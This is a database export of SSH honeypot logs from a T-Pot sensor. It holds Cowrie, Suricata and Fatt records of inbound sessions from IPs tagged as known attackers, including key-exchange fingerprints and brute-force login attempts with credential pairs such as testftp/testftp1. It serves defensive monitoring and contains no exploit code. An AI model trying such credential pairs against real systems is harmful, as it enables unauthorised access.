31820	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.237018+03	2021-09-20 15:00:02.665717+03	{"_id": "ZgYIA3wBvYTbRNuEqUbv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:51.237018Z", "@timestamp": "2021-09-20T11:47:51.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31821	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.508394+03	2021-09-20 15:00:02.666716+03	{"_id": "ZwYIA3wBvYTbRNuEqUbv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.success", "message": "login attempt [testftp/testftp1] succeeded", "session": "6436ece08441", "@version": "1", "password": "testftp1", "username": "testftp", "timestamp": "2021-09-20T11:47:51.508394Z", "@timestamp": "2021-09-20T11:47:51.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
31822	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.190811+03	2021-09-20 15:00:02.667717+03	{"_id": "aQYIA3wBvYTbRNuEqUbx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6436ece08441", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:51.190811Z", "@timestamp": "2021-09-20T11:47:51.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31823	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.593733+03	2021-09-20 15:00:02.669717+03	{"_id": "agYIA3wBvYTbRNuEqUbx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8308bab0ed44", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:51.593733Z", "@timestamp": "2021-09-20T11:47:51.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31841	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:53.812411+03	2021-09-20 15:00:02.693716+03	{"_id": "gAYIA3wBvYTbRNuEsUbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:53.812411Z", "@timestamp": "2021-09-20T11:47:53.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31824	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.634274+03	2021-09-20 15:00:02.670716+03	{"_id": "awYIA3wBvYTbRNuEqUbx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8308bab0ed44", "@version": "1", "timestamp": "2021-09-20T11:47:51.634274Z", "@timestamp": "2021-09-20T11:47:51.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31825	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:47:51.633692+03	2021-09-20 15:00:02.671716+03	{"_id": "bQYIA3wBvYTbRNuEq0aG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 2065273492827210, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55428, "dest_port": 22, "timestamp": "2021-09-20T11:47:51.633692Z", "@timestamp": "2021-09-20T11:47:51.633Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31826	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:52.195172+03	2021-09-20 15:00:02.672716+03	{"_id": "bwYIA3wBvYTbRNuErEaJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34238, "timestamp": "2021-09-20T11:47:52.195172", "@timestamp": "2021-09-20T11:47:52.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31827	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:47:39.767411+03	2021-09-20 15:00:02.674717+03	{"_id": "TgYIA3wBvYTbRNuEfEai", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:47:39.394857+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 672600281515625, "payload": "AAADzAYUtPvAQOhn2MR9IKBzaNH/EAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37068, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:47:39.767411Z", "@timestamp": "2021-09-20T11:47:39.767Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........@.g..} .sh......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31828	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:39.584689+03	2021-09-20 15:00:02.675718+03	{"_id": "UAYIA3wBvYTbRNuEfUaj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37068, "timestamp": "2021-09-20T11:47:39.584689", "@timestamp": "2021-09-20T11:47:39.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31848	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.490136+03	2021-09-20 15:00:02.702717+03	{"_id": "sQYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.490136Z", "@timestamp": "2021-09-20T11:47:56.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31829	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:51.594276+03	2021-09-20 15:00:02.676717+03	{"_id": "cAYIA3wBvYTbRNuErEaK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55428, "timestamp": "2021-09-20T11:47:51.594276", "@timestamp": "2021-09-20T11:47:51.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31830	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:47:52.430503+03	2021-09-20 15:00:02.678716+03	{"_id": "dwYIA3wBvYTbRNuErUbZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f9b174d04a58", "@version": "1", "timestamp": "2021-09-20T11:47:52.430503Z", "@timestamp": "2021-09-20T11:47:52.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31831	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:51.911992+03	2021-09-20 15:00:02.679717+03	{"_id": "dgYIA3wBvYTbRNuErUbZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "8308bab0ed44", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:47:51.911992Z", "@timestamp": "2021-09-20T11:47:51.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
